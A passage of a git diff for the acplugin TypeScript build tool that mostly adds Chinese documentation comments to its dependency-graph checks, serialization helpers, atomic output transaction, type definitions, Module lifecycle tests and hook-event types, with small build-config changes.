[componentKey(component.kind, component.id), component])); + /** 从每个 Component 指向其直接 Skill/Agent 依赖的邻接表。 */ const edges = new Map(); for (const component of components) { + /** 当前 Component 的图节点键。 */ const from = componentKey(component.kind, component.id); + /** 当前 Component 声明的全部规范依赖节点键。 */ const targets = [ ...component.requires.skills.map(id => componentKey('skill', id)), ...component.requires.agents.map(id => componentKey('agent', id)), @@ -498,16 +711,28 @@ function validateGraph(components: readonly Component[], diagnostics: Diagnostic } } + /** 当前深度优先搜索路径上的节点。 */ const visiting = new Set(); + /** 已完整检查且确认无需再次遍历的节点。 */ const visited = new Set(); + /** 当前深度优先路径,用于恢复完整环路。 */ const stack: string[] = []; + /** 已报告环路签名,防止同一路径重复产生诊断。 */ const reported = new Set(); + /** + * 深度优先检查单个依赖节点。 + * + * @param node 当前 Component 图节点键。 + */ const visit = (node: string): void => { if (visited.has(node)) return; if (visiting.has(node)) { + /** 当前节点首次出现在 DFS 路径中的位置。 */ const start = stack.indexOf(node); + /** 首尾包含同一节点的可读环路。 */ const cycle = [...stack.slice(start), node]; + /** 用于诊断和去重的稳定环路文本。 */ const signature = cycle.join(' -> '); if (!reported.has(signature)) { diagnostics.error('COMPONENT_DEPENDENCY_CYCLE', `Dependency cycle: ${signature}`, { phase: 'validate' }); @@ -529,11 +754,19 @@ function validateGraph(components: readonly Component[], diagnostics: Diagnostic visit(key); } +/** + * 检查保留源码目录是否已经启用对应的官方 Module。 + * + * @param config 已解析工程配置。 + * @param diagnostics 当前扫描共享的诊断收集器。 + */ async function validateModuleDirectories(config: ResolvedConfig, diagnostics: DiagnosticCollector): Promise { + /** Core 识别但只允许由官方 Module 解释的源码目录映射。 */ const checks = [ { directory: 'hooks', module: '@tokenroll/acplugin-module-hooks' }, { directory: 'mcp', module: '@tokenroll/acplugin-module-mcp' }, ]; + /** 已配置 Module 名称集合。 */ const enabled = new Set(config.modules.map(module => module.name)); for (const check of checks) { const directory = path.join(config.srcDir, check.directory); @@ -545,11 +778,21 @@ async function validateModuleDirectories(config: ResolvedConfig, diagnostics: Di } } +/** + * 扫描 acplugin 规范工程并验证 Component 依赖图。 + * + * Commands、Skills、Agents 和 Public 互不修改,可并行读取;全部完成后再统一验证跨组件依赖。 + * + * @param config 已解析且完成路径安全检查的工程配置。 + * @param diagnostics 可选的共享诊断收集器。 + * @returns 规范 PluginProject 以及同一个诊断收集器。 + */ export async function scanProject( config: ResolvedConfig, - diagnostics = new DiagnosticCollector(), + diagnostics: DiagnosticCollector = new DiagnosticCollector(), ): Promise<{ project: PluginProject; diagnostics: DiagnosticCollector }> { await validateModuleDirectories(config, diagnostics); + /** 各独立源码区域并行扫描得到的规范资源。 */ const [commands, skills, agents, publicFiles] = await Promise.all([ scanCommands(config, diagnostics), scanSkills(config, diagnostics), @@ -558,6 +801,7 @@ export async function scanProject( ]); validateGraph([...commands, ...skills, ...agents], diagnostics); + /** 交给 Module 与 Compiler 使用的只含 Core 语义的工程快照。 */ const project: PluginProject = { root: config.root, name: config.name, diff --git a/packages/core/src/serialization.ts b/packages/core/src/serialization.ts index 18dc2cc..7da1065 100644 --- a/packages/core/src/serialization.ts +++ b/packages/core/src/serialization.ts @@ -1,5 +1,13 @@ import { stringify } from 'yaml'; +/** + * 递归复制可序列化值,并按键名排序对象、移除值为 undefined 的字段。 + * + * 数组顺序属于业务语义,因此只处理数组元素而不会重新排序。 + * + * @param value 需要进入 JSON、YAML 或 frontmatter 的数据。 + * @returns 具有确定对象键顺序的等价值。 + */ export function sortObject(value: unknown): unknown { if (Array.isArray(value)) return value.map(sortObject); @@ -12,14 +20,33 @@ export function sortObject(value: unknown): unknown { return value; } +/** + * 将值序列化为适合写入 Artifact 的确定性格式化 JSON。 + * + * @param value 需要序列化的数据。 + * @returns 使用两个空格缩进且以换行结尾的 JSON 文本。 + */ export function stableJson(value: unknown): string { return `${JSON.stringify(sortObject(value), null, 2)}\n`; } +/** + * 将值序列化为不受对象插入顺序影响的 YAML。 + * + * @param value 需要序列化的数据。 + * @returns 不带尾随换行、且不主动折叠长行的 YAML 文本。 + */ export function stableYaml(value: unknown): string { return stringify(sortObject(value), { lineWidth: 0 }).trimEnd(); } +/** + * 组合 YAML frontmatter 与 Markdown 正文,建立统一的空白和结尾换行约定。 + * + * @param frontmatter 文档头部的结构化元数据。 + * @param body Markdown 正文。 + * @returns 可直接写入 Artifact 的完整 Markdown 文本。 + */ export function markdownWithFrontmatter(frontmatter: Record, body: string): string { return `---\n${stableYaml(frontmatter)}\n---\n${body.trim()}\n`; } diff --git a/packages/core/src/transaction.ts b/packages/core/src/transaction.ts index 64deaba..2ac933c 100644 --- a/packages/core/src/transaction.ts +++ b/packages/core/src/transaction.ts @@ -4,6 +4,7 @@ import path from 'node:path'; import { hashFile } from './artifacts.js'; import type { Artifact, TargetId } from './types.js'; +/** 受管输出事务可观测的稳定阶段名称。 */ export type ManagedOutputPhase = | 'lock-acquired' | 'recovery-complete' @@ -13,11 +14,26 @@ export type ManagedOutputPhase | 'backup-created' | 'output-swapped'; +/** 控制受管输出提交阶段通知和交换后收尾行为。 */ export interface CommitManagedOutputOptions { + /** + * 在事务进入关键阶段时调用,主要用于日志、测试故障注入和外部观测。 + * + * @param phase 已经完成的事务阶段。 + */ onPhase?(phase: ManagedOutputPhase): void | Promise; + /** + * 新输出完成交换后、删除回滚备份前调用;失败会触发整个目录回滚。 + */ afterSwap?(): void | Promise; } +/** + * 判断事务辅助路径当前是否存在。 + * + * @param candidate 待检查的文件或目录路径。 + * @returns 可访问时返回 true,否则返回 false。 + */ async function exists(candidate: string): Promise { try { await fs.access(candidate); @@ -27,7 +43,14 @@ async function exists(candidate: string): Promise { } } +/** + * 将单个已经过 ArtifactGraph 验证的产物写入阶段目录。 + * + * @param root 当前目标平台的阶段目录。 + * @param artifact 包含可信来源、摘要和权限的产物。 + */ async function materializeFile(root: string, artifact: Artifact): Promise { + /** 由受控 POSIX 相对路径解析出的最终阶段文件路径。 */ const destination = path.join(root, ...artifact.path.split('/')); await fs.mkdir(path.dirname(destination), { recursive: true }); if (artifact.source.type === 'bytes') @@ -37,12 +60,19 @@ async function materializeFile(root: string, artifact: Artifact): Promise await fs.chmod(destination, artifact.mode); } +/** + * 将各目标 Artifact 以稳定顺序物化到指定根目录。 + * + * @param root 物化根目录,每个 Target ID 会成为其一级子目录。 + * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + */ export async function materializeTargets( root: string, targets: ReadonlyMap, ): Promise { await fs.mkdir(root, { recursive: true }); for (const target of [...targets.keys()].sort()) { + /** 当前目标在物化根目录下的隔离子目录。 */ const targetRoot = path.join(root, target); await fs.mkdir(targetRoot, { recursive: true }); for (const artifact of targets.get(target) ?? []) @@ -50,17 +80,28 @@ export async function materializeTargets( } } +/** + * 重新读取已物化文件,验证文件类型、内容摘要、大小和权限。 + * + * @param root 先前执行物化操作的根目录。 + * @param targets 作为完整性基准的 Artifact 列表。 + * @throws 物化内容与 Artifact 契约不一致时抛出异常。 + */ async function validateMaterializedTargets( root: string, targets: ReadonlyMap, ): Promise { for (const target of [...targets.keys()].sort()) { + /** 当前目标已物化文件的根目录。 */ const targetRoot = path.join(root, target); for (const artifact of targets.get(target) ?? []) { + /** 当前 Artifact 实际写入的文件路径。 */ const destination = path.join(targetRoot, ...artifact.path.split('/')); + /** 用于拒绝符号链接和非普通文件的实际元数据。 */ const stat = await fs.lstat(destination); if (stat.isSymbolicLink() || !stat.isFile()) throw new Error(`Materialized Artifact is not a regular file: ${target}/${artifact.path}`); + /** 从磁盘重新计算的字节数与摘要。 */ const actual = await hashFile(destination); if (actual.size !== artifact.size || actual.sha256 !== artifact.sha256) throw new Error(`Materialized Artifact integrity mismatch: ${target}/${artifact.path}`); @@ -70,9 +111,15 @@ async function validateMaterializedTargets( } } +/** + * 在系统临时目录中完整演练物化和完整性校验,但不修改真实输出目录。 + * + * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + */ export async function validateMaterialization( targets: ReadonlyMap, ): Promise { + /** 本次验证独占且无论成功失败都会删除的临时目录。 */ const temporary = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-validate-')); try { await materializeTargets(temporary, targets); @@ -82,27 +129,53 @@ export async function validateMaterialization( } } +/** + * 通过加锁、阶段目录、备份和目录交换原子提交全部目标输出。 + * + * 同级事务记录与备份允许下一次调用修复进程中断留下的状态;交换后 Hook 失败时, + * 当前调用会删除新输出并恢复旧目录,保证调用方只观察到完整的新旧版本之一。 + * + * @param outDir 由 acplugin 完全管理的输出目录。 + * @param targets 各目标已完成 Graph 校验的 Artifact 列表。 + * @param options 阶段通知与交换后事务 Hook。 + * @throws 输出路径不安全、存在活跃锁、物化失败或回滚失败时抛出异常。 + */ export async function commitManagedOutput( outDir: string, targets: ReadonlyMap, options: CommitManagedOutputOptions = {}, ): Promise { + /** 规范化后的受管输出绝对路径。 */ const resolved = path.resolve(outDir); + /** 存放输出、锁、阶段目录和备份的共同父目录。 */ const parent = path.dirname(resolved); + /** 用于构造同级事务辅助路径的输出目录名称。 */ const base = path.basename(resolved); if (resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') throw new Error(`Unsafe managed output path: ${outDir}`); await fs.mkdir(parent, { recursive: true }); + /** 防止多个进程并发提交同一输出目录的独占锁文件。 */ const lockPath = path.join(parent, `.${base}.acplugin.lock`); + /** 标记输出交换尚未完成清理的持久事务记录。 */ const transactionPath = path.join(parent, `.${base}.acplugin-transaction.json`); + /** 目录交换期间保存旧输出、用于恢复的同级备份路径。 */ const backupPath = path.join(parent, `.${base}.acplugin-backup`); + /** 当前调用创建、尚未交换或删除的阶段目录。 */ let stage: string | undefined; + /** 当前事务是否已经把旧输出移动为备份。 */ let backupCreated = false; + /** 当前事务是否已经把新阶段目录交换到正式输出路径。 */ let outputSwapped = false; + /** + * 创建独占进程锁;发现死进程遗留锁时清理并重试一次。 + * + * @returns 当前进程持有且需要在 finally 中关闭的锁文件句柄。 + */ const acquireLock = async (): Promise => { try { + /** 通过 `wx` 原子创建的独占锁句柄。 */ const handle = await fs.open(lockPath, 'wx'); await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); return handle; @@ -110,6 +183,7 @@ export async function commitManagedOutput( if ((error as NodeJS.ErrnoException).code !== 'EEXIST') throw error; try { + /** 旧锁记录的进程号,用于区分活跃锁和崩溃遗留锁。 */ const record = JSON.parse(await fs.readFile(lockPath, 'utf8')) as { pid?: number }; if (typeof record.pid !== 'number') throw new Error('lock has no process id', { cause: error }); @@ -121,6 +195,7 @@ export async function commitManagedOutput( throw processError; } await fs.rm(lockPath, { force: true }); + /** 清理死进程锁后由当前进程重新取得的句柄。 */ const handle = await fs.open(lockPath, 'wx'); await handle.writeFile(`${JSON.stringify({ schemaVersion: 1, pid: process.pid })}\n`); return handle; @@ -129,10 +204,12 @@ export async function commitManagedOutput( } } }; + /** 当前进程持有到事务 finally 结束的锁文件句柄。 */ const lock = await acquireLock(); try { await options.onPhase?.('lock-acquired'); + // 上次进程若在交换期间退出:缺少正式输出时恢复备份,否则删除已经过期的备份。 if (await exists(backupPath)) { if (!await exists(resolved)) await fs.rename(backupPath, resolved); @@ -143,6 +220,7 @@ export async function commitManagedOutput( await fs.rm(transactionPath, { force: true }); await options.onPhase?.('recovery-complete'); + // 阶段目录必须与输出同级,后续 rename 才能保持同一文件系统内的原子交换语义。 stage = await fs.mkdtemp(path.join(parent, `.${base}.acplugin-stage-`)); await materializeTargets(stage, targets); await options.onPhase?.('stage-materialized'); @@ -165,10 +243,10 @@ export async function commitManagedOutput( try { await fs.rm(transactionPath, { force: true }); } catch { - // The complete output is committed. The next invocation can remove a - // retained transaction record without treating cleanup as build failure. + // 完整输出已经提交;遗留事务记录可由下次调用删除,不应把清理失败升级为构建失败。 } } catch (error) { + // 交换或 afterSwap 失败时,先移除不完整的新输出,再把旧备份恢复到正式路径。 try { if (outputSwapped && await exists(resolved)) await fs.rm(resolved, { recursive: true, force: true }); @@ -183,8 +261,7 @@ export async function commitManagedOutput( try { await fs.rm(backupPath, { recursive: true, force: true }); } catch { - // The committed output is complete. A retained backup is recovered on - // the next invocation rather than turning a successful swap into failure. + // 正式输出已经完整;下次调用会处理遗留备份,不应推翻成功的目录交换。 } } } catch (error) { @@ -192,7 +269,7 @@ export async function commitManagedOutput( try { await fs.rm(transactionPath, { force: true }); } catch { - // A transaction record is safe to retain: the next invocation recovers it. + // 遗留事务记录是可恢复状态,下次取得锁后会统一清理。 } } throw error; @@ -201,18 +278,18 @@ export async function commitManagedOutput( try { await fs.rm(stage, { recursive: true, force: true }); } catch { - // Staging cleanup is recoverable and cannot replace the primary result. + // 阶段目录清理失败可由人工或后续维护处理,不能覆盖原始事务结果。 } } try { await lock.close(); } catch { - // The process owns this handle; a close failure is not a build outcome. + // 当前进程独占该句柄;关闭失败不改变已经确定的提交或回滚结果。 } try { await fs.rm(lockPath, { force: true }); } catch { - // A retained lock record is reconciled by a later invocation. + // 遗留锁记录会在后续调用中通过进程存活检查完成协调。 } } } diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 698dcde..8e0076b 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -1,23 +1,47 @@ +/** acplugin 1.0 内置且默认参与构建的目标平台标识。 */ export const TARGET_IDS = ['claude-code', 'codex'] as const; + +/** Core 构建管线能够响应的命令集合。 */ export const BUILD_COMMANDS = ['dev', 'validate', 'inspect', 'build'] as const; + +/** 配置加载和构建行为可使用的运行模式。 */ export const BUILD_MODES = ['development', 'production'] as const; + +/** 描述 Component 在目标平台上支持程度的有序等级。 */ export const COMPATIBILITY_LEVELS = ['native', 'transform', 'degraded', 'unsupported'] as const; + +/** acplugin 核心层直接建模的规范 Component 类型。 */ export const COMPONENT_KINDS = ['command', 'skill', 'agent'] as const; +/** 内置目标平台标识的联合类型。 */ export type TargetId = typeof TARGET_IDS[number]; + +/** Core 构建命令名称的联合类型。 */ export type BuildCommand = typeof BUILD_COMMANDS[number]; + +/** 构建运行模式的联合类型。 */ export type BuildMode = typeof BUILD_MODES[number]; + +/** 平台兼容性等级的联合类型。 */ export type CompatibilityLevel = typeof COMPATIBILITY_LEVELS[number]; + +/** 规范 Component 种类的联合类型。 */ export type ComponentKind = typeof COMPONENT_KINDS[number]; + +/** 诊断信息允许使用的严重级别。 */ export type DiagnosticSeverity = 'error' | 'warning'; + +/** 产物允许写入的普通文件和可执行文件权限。 */ export type ArtifactMode = 0o644 | 0o755; +/** 指向用户工程中某个来源位置的可序列化描述。 */ export interface SourceLocation { path: string; line?: number; column?: number; } +/** 构建各阶段共享的结构化诊断信息。 */ export interface Diagnostic { code: string; severity: DiagnosticSeverity; @@ -32,6 +56,7 @@ export interface Diagnostic { hint?: string; } +/** 记录某项能力在指定平台上的转换结果和原因。 */ export interface CompatibilityEntry { target: TargetId; subject: string; @@ -42,16 +67,19 @@ export interface CompatibilityEntry { causes?: readonly string[]; } +/** Component 对其他 Skill 或 Agent 的规范依赖引用。 */ export interface ComponentRequires { skills: readonly string[]; agents: readonly string[]; } +/** 用户为各目标平台提供的确定性 JSON 扩展字段。 */ export interface PlatformExtensions { 'claude-code'?: Readonly>; 'codex'?: Readonly>; } +/** 从 `src/commands` 扫描得到的规范 Command。 */ export interface CommandComponent { kind: 'command'; id: string; @@ -63,12 +91,14 @@ export interface CommandComponent { extensions: PlatformExtensions; } +/** Skill 目录中需要随主体一起发布的辅助文件。 */ export interface SkillAuxiliaryFile { path: string; sourcePath: string; mode: ArtifactMode; } +/** 从 `src/skills` 扫描得到的规范 Skill。 */ export interface SkillComponent { kind: 'skill'; id: string; @@ -81,7 +111,10 @@ export interface SkillComponent { auxiliaryFiles: readonly SkillAuxiliaryFile[]; } +/** 与具体平台模型名称解耦的 Agent 能力级别。 */ export type AgentModel = 'inherit' | 'fast' | 'capable'; + +/** acplugin 用于描述 Agent 所需工具能力的规范集合。 */ export type AgentCapability = | 'filesystem:read' | 'filesystem:write' @@ -90,6 +123,7 @@ export type AgentCapability | 'network' | 'delegate'; +/** 从 `src/agents` 扫描得到的规范 Agent。 */ export interface AgentComponent { kind: 'agent'; id: string; @@ -102,14 +136,17 @@ export interface AgentComponent { extensions: PlatformExtensions; } +/** Core 构建管线能够处理的任意规范 Component。 */ export type Component = CommandComponent | SkillComponent | AgentComponent; +/** 从 Public 目录收集且尚未转换为 Artifact 的文件描述。 */ export interface PublicFile { sourcePath: string; targetPath: string; mode: ArtifactMode; } +/** Scanner 完成解析与图校验后交给 Compiler 的统一工程模型。 */ export interface PluginProject { root: string; name: string; @@ -122,30 +159,37 @@ export interface PluginProject { publicFiles: readonly PublicFile[]; } +/** 将 Public 目录中的来源路径映射到产物路径的复制规则。 */ export interface PublicCopyRule { from: string; to: string; } +/** 用户可使用的 Public 目录简写或完整配置。 */ export type PublicConfig = false | string | { dir?: string; copy?: readonly PublicCopyRule[]; }; +/** 用户可使用的目标平台简写或严格模式配置。 */ export type TargetConfig = TargetId | { id: TargetId; strict?: boolean }; +/** 控制构建输出目录和全局兼容性严格度的配置。 */ export interface BuildConfig { outDir?: string; strict?: boolean; } +/** 调用函数式配置时传入的稳定运行环境。 */ export interface ConfigEnvironment { command: BuildCommand; mode: BuildMode; } +/** `acplugin.config.ts` 允许导出的对象或异步配置工厂。 */ export type UserConfigExport = UserConfig | ((environment: ConfigEnvironment) => UserConfig | Promise); +/** 用户在 `acplugin.config.ts` 中声明的顶层配置契约。 */ export interface UserConfig { name: string; version: string; @@ -159,17 +203,20 @@ export interface UserConfig { extensions?: PlatformExtensions; } +/** 完成默认值合并和校验后的单个目标平台配置。 */ export interface ResolvedTarget { id: TargetId; strict: boolean; } +/** 完成目录解析和默认值合并后的 Public 配置。 */ export interface ResolvedPublicConfig { enabled: boolean; dir: string; copy?: readonly PublicCopyRule[]; } +/** Core 内部使用的完整、绝对路径化配置。 */ export interface ResolvedConfig { root: string; configPath: string; @@ -188,22 +235,26 @@ export interface ResolvedConfig { extensions: PlatformExtensions; } +/** 已驻留内存、可安全快照的 Artifact 字节来源。 */ export interface ArtifactBytesSource { type: 'bytes'; value: Uint8Array; } +/** 构建提交阶段才读取的本地普通文件来源。 */ export interface ArtifactFileSource { type: 'file'; path: string; } +/** Compiler 或 Module 向 Artifact Graph 提交的待验证产物。 */ export interface ArtifactInput { path: string; source: ArtifactBytesSource | ArtifactFileSource; mode?: ArtifactMode; } +/** Artifact Graph 校验并冻结后的不可变产物记录。 */ export interface Artifact extends ArtifactInput { owner: string; mode: ArtifactMode; @@ -211,19 +262,23 @@ export interface Artifact extends ArtifactInput { sha256: string; } +/** 某个所有者对目标平台 Manifest 字段的贡献。 */ export interface ManifestContribution { owner: string; fields: Readonly>; } +/** Module 在单个目标平台生成阶段返回的增量贡献。 */ export interface TargetContribution { artifacts?: readonly ArtifactInput[]; manifestFields?: Readonly>; compatibility?: readonly CompatibilityEntry[]; } +/** 加载可信 TypeScript 配置或 Module 描述文件的抽象接口。 */ export type TypeScriptModuleLoader = (path: string) => Promise; +/** 所有 Module 生命周期阶段共享的只读上下文。 */ export interface ModuleBaseContext { config: ResolvedConfig; diagnostics: DiagnosticCollectorLike; @@ -233,37 +288,61 @@ export interface ModuleBaseContext { dependencyBuiltState: ReadonlyMap; } +/** Module discover 阶段使用的基础上下文别名。 */ export type ModuleDiscoverContext = ModuleBaseContext; +/** Module validate 阶段额外携带已扫描工程的上下文。 */ export interface ModuleValidateContext extends ModuleBaseContext { project: PluginProject; } +/** Module build 阶段使用的校验上下文别名。 */ export type ModuleBuildContext = ModuleValidateContext; +/** Module generate 阶段额外携带当前目标平台的上下文。 */ export interface ModuleGenerateContext extends ModuleBuildContext { target: TargetId; } +/** Module buildEnd 阶段用于观察成功或失败结果的上下文。 */ export interface ModuleBuildEndContext extends ModuleBaseContext { error?: unknown; } +/** + * 通过固定生命周期 Hook 扩展 Core 构建能力的 Module 契约。 + * + * @typeParam State discover 阶段产生并传递给后续阶段的状态。 + * @typeParam BuiltState build 阶段产生并传递给 generate 的状态。 + */ export interface AcpluginModule { name: string; dependsOn?: readonly string[]; + + /** 在配置解析完成后执行一次,不应写入构建产物。 */ configResolved?(config: ResolvedConfig): void | Promise; + + /** 发现 Module 自己拥有的资源,并返回稳定状态。 */ discover?(context: ModuleDiscoverContext): State | Promise; + + /** 校验发现状态与规范 Plugin 工程之间的约束。 */ validate?(context: ModuleValidateContext, state: State): void | Promise; + + /** 构建与目标无关的中间状态,例如本地代码 Bundle。 */ build?(context: ModuleBuildContext, state: State): BuiltState | Promise; + + /** 为当前目标平台生成 Artifact、Manifest 和兼容性贡献。 */ generate?( context: ModuleGenerateContext, state: State, builtState: BuiltState, ): TargetContribution | void | Promise; + + /** 在构建结束时执行清理;失败信息通过上下文传入。 */ buildEnd?(context: ModuleBuildEndContext): void | Promise; } +/** Compiler 编译单个平台时需要的完整输入。 */ export interface CompilerContext { config: ResolvedConfig; project: PluginProject; @@ -272,24 +351,36 @@ export interface CompilerContext { diagnostics: DiagnosticCollectorLike; } +/** Compiler 返回给 Core 的目标产物和兼容性记录。 */ export interface CompilerOutput { artifacts: readonly ArtifactInput[]; compatibility: readonly CompatibilityEntry[]; } +/** 将规范 PluginProject 编译为指定平台安装包的内置接口。 */ export interface Compiler { id: TargetId; + + /** 编译单个目标平台,且不得直接写入最终输出目录。 */ compile(context: CompilerContext): CompilerOutput | Promise; } +/** Module 和 Compiler 用于提交结构化诊断的最小接口。 */ export interface DiagnosticCollectorLike { + + /** 添加一条完整诊断,Collector 会在落盘前统一脱敏。 */ add(diagnostic: Diagnostic): void; + + /** 添加阻止当前构建成功的错误诊断。 */ error(code: string, message: string, options?: Partial>): void; + + /** 添加允许构建继续但需要用户关注的警告诊断。 */ warning(code: string, message: string, options?: Partial>): void; readonly diagnostics: readonly Diagnostic[]; readonly hasErrors: boolean; } +/** Build Report 中可公开展示的单个 Artifact 摘要。 */ export interface ArtifactReportEntry { target: TargetId; path: string; @@ -299,6 +390,7 @@ export interface ArtifactReportEntry { sha256: string; } +/** CLI、JSON 输出和 Watch 状态共享的稳定构建报告。 */ export interface BuildReport { schemaVersion: '1'; command: BuildCommand; @@ -312,6 +404,7 @@ export interface BuildReport { committed: boolean; } +/** 调用 Core 构建管线所需的依赖和提交策略。 */ export interface BuildRequest { config: ResolvedConfig; compilers: ReadonlyMap; @@ -319,6 +412,7 @@ export interface BuildRequest { commit: boolean; } +/** Core 构建调用返回的工程快照和稳定报告。 */ export interface BuildResult { project?: PluginProject; report: BuildReport; diff --git a/packages/core/test/core.test.ts b/packages/core/test/core.test.ts index 9f94f20..f61fc74 100644 --- a/packages/core/test/core.test.ts +++ b/packages/core/test/core.test.ts @@ -15,8 +15,14 @@ import { scanProject, } from '../src/index.js'; +/** 每个测试创建并在 afterEach 中统一删除的临时目录。 */ const temporaryDirectories: string[] = []; +/** + * 创建当前 Core 测试独占的临时工程目录。 + * + * @returns 自动登记清理的绝对目录路径。 + */ async function temporaryProject(): Promise { const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-core-test-')); temporaryDirectories.push(root); @@ -172,6 +178,7 @@ describe('managed output transaction', () => { }); await expect(commitManagedOutput(outDir, new Map([['codex', graph.artifacts]]), { + /** 在指定事务阶段注入失败以验证旧输出恢复。 */ onPhase(current) { if (current === phase) throw new Error(`fail at ${phase}`); @@ -222,17 +229,23 @@ describe('Module lifecycle', () => { const events: string[] = []; const first: AcpluginModule = { name: 'first', + /** 记录第一个 Module 的配置阶段。 */ configResolved() { events.push('first:config'); }, + /** 产生供依赖方读取的 discover 状态。 */ discover() { events.push('first:discover'); return 'first-state'; }, + /** 记录第一个 Module 的验证阶段。 */ validate() { events.push('first:validate'); }, + /** 产生供依赖方 generate 阶段读取的构建状态。 */ build() { events.push('first:build'); return 'first-built'; }, + /** 记录第一个 Module 的目标生成阶段。 */ generate() { events.push('first:generate'); }, + /** 验证依赖方清理失败会作为 error 传递给依赖。 */ buildEnd(context) { events.push(context.error ? 'first:end:error' : 'first:end'); }, @@ -240,19 +253,25 @@ describe('Module lifecycle', () => { const second: AcpluginModule = { name: 'second', dependsOn: ['first'], + /** 记录依赖 Module 的配置阶段。 */ configResolved() { events.push('second:config'); }, + /** 验证 discover 阶段可读取直接依赖状态。 */ discover(context) { events.push(`second:discover:${String(context.dependencyState.get('first'))}`); return 'second-state'; }, + /** 记录依赖 Module 的验证阶段。 */ validate() { events.push('second:validate'); }, + /** 验证 build 阶段仍可读取 discover 依赖状态。 */ build(context) { events.push(`second:build:${String(context.dependencyState.get('first'))}`); return 'second-built'; }, + /** 验证 generate 阶段可读取依赖的 builtState。 */ generate(context) { events.push(`second:generate:${String(context.dependencyBuiltState.get('first'))}`); }, + /** 注入清理失败并验证逆序传播。 */ buildEnd() { events.push('second:end'); throw new Error('cleanup failed'); @@ -260,6 +279,7 @@ describe('Module lifecycle', () => { }; const compiler: Compiler = { id: 'codex', + /** 记录 Compiler 位于 Module generate 之后。 */ compile() { events.push('compiler'); return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; @@ -303,15 +323,18 @@ describe('Module lifecycle', () => { await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); const module: AcpluginModule = { name: 'unsafe-module', + /** 使用空状态进入后续生命周期。 */ discover() { return undefined; }, + /** 注入同时包含凭据和本机路径的清理异常。 */ buildEnd() { throw new Error(`Bearer top-secret ${path.join(root, 'private.txt')}`); }, }; const compiler: Compiler = { id: 'codex', + /** 提供足以触发真实提交事务的最小 Artifact。 */ compile() { return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; }, diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.ts index 1533d6b..3a24c74 100644 --- a/packages/core/tsdown.config.ts +++ b/packages/core/tsdown.config.ts @@ -1,12 +1,13 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 私有 Core 生成 Node ESM 与 OXC 声明,由主包内联并供工作区类型检查复用。 export default defineConfig({ entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, }); diff --git a/packages/module-hooks/package.json b/packages/module-hooks/package.json index 08e10ac..5170365 100644 --- a/packages/module-hooks/package.json +++ b/packages/module-hooks/package.json @@ -11,7 +11,7 @@ "engines": { "node": ">=20" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], - "publishConfig": { "access": "public", "provenance": true }, + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", diff --git a/packages/module-hooks/src/index.ts b/packages/module-hooks/src/index.ts index fdcfcf5..e269782 100644 --- a/packages/module-hooks/src/index.ts +++ b/packages/module-hooks/src/index.ts @@ -14,14 +14,17 @@ import { type TargetId, } from '@tokenroll/acplugin'; +/** Hooks 官方 Module 的稳定名称,也是诊断和配置依赖使用的唯一 ID。 */ export const HOOKS_MODULE_NAME = '@tokenroll/acplugin-module-hooks'; +/** Claude Code 与 Codex 当前都可通过本地命令 Handler 表达的 Hook 事件。 */ export const PORTABLE_HOOK_EVENTS = [ 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', ] as const; +/** 当前只能为 Claude Code 生成、在 Codex 目标上报告不支持的 Hook 事件。 */ export const CLAUDE_ONLY_HOOK_EVENTS = [ 'Setup', 'UserPromptExpansion', 'PermissionDenied', 'PostToolUseFailure', 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', 'TaskCompleted', @@ -30,121 +33,211 @@ export const CLAUDE_ONLY_HOOK_EVENTS = [ 'Elicitation', 'ElicitationResult', ] as const; +/** 两个内置目标均支持的 Hook 事件联合类型。 */ export type PortableHookEvent = typeof PORTABLE_HOOK_EVENTS[number]; +/** 仅 Claude Code 支持的 Hook 事件联合类型。 */ export type ClaudeOnlyHookEvent = typeof CLAUDE_ONLY_HOOK_EVENTS[number]; +/** acplugin Hooks Module 接受的全部 Hook 事件。 */ export type HookEvent = PortableHookEvent | ClaudeOnlyHookEvent; +/** 传递给 Hook 实现的规范化事件输入,并保留平台额外字段。 */ export interface HookInput { + /** 已从平台字段规范化的 Hook 事件名。 */ event: Event; + /** 当前 AI 平台会话 ID。 */ sessionId: string; + /** 平台提供时的会话记录文件路径。 */ transcriptPath?: string | null; + /** Hook 触发时的工作目录。 */ cwd: string; + /** 平台或事件特有、经过 snake_case 转 camelCase 的额外输入。 */ [field: string]: unknown; } +/** 由生成的运行器提供给 Hook 实现的跨平台运行时上下文。 */ export interface HookRuntimeContext { + /** 当前实际运行的目标平台。 */ target: TargetId; + /** 已安装 Plugin 的根目录。 */ pluginRoot: string; + /** 平台提供的 Plugin 可写数据目录。 */ pluginData: string; } +/** 只允许向平台附加系统消息、不改变流程的 Hook 结果。 */ interface AdvisoryResult { + /** 平台支持时展示或注入的系统级提示。 */ systemMessage?: string; } +/** 可向当前模型上下文追加文本的 Hook 结果。 */ interface ContextResult extends AdvisoryResult { + /** 注入当前会话或调用上下文的补充信息。 */ additionalContext?: string; } +/** 带可选原因的事件决策结果。 */ interface DecisionResult extends AdvisoryResult { + /** 当前事件允许的规范决策值。 */ decision?: Decision; + /** 平台支持时随决策返回的解释。 */ reason?: string; } +/** 不携带 reason、只控制生命周期流转的 Hook 结果。 */ interface FlowResult extends AdvisoryResult { + /** 当前流程事件允许的规范决策值。 */ decision?: Decision; } +/** 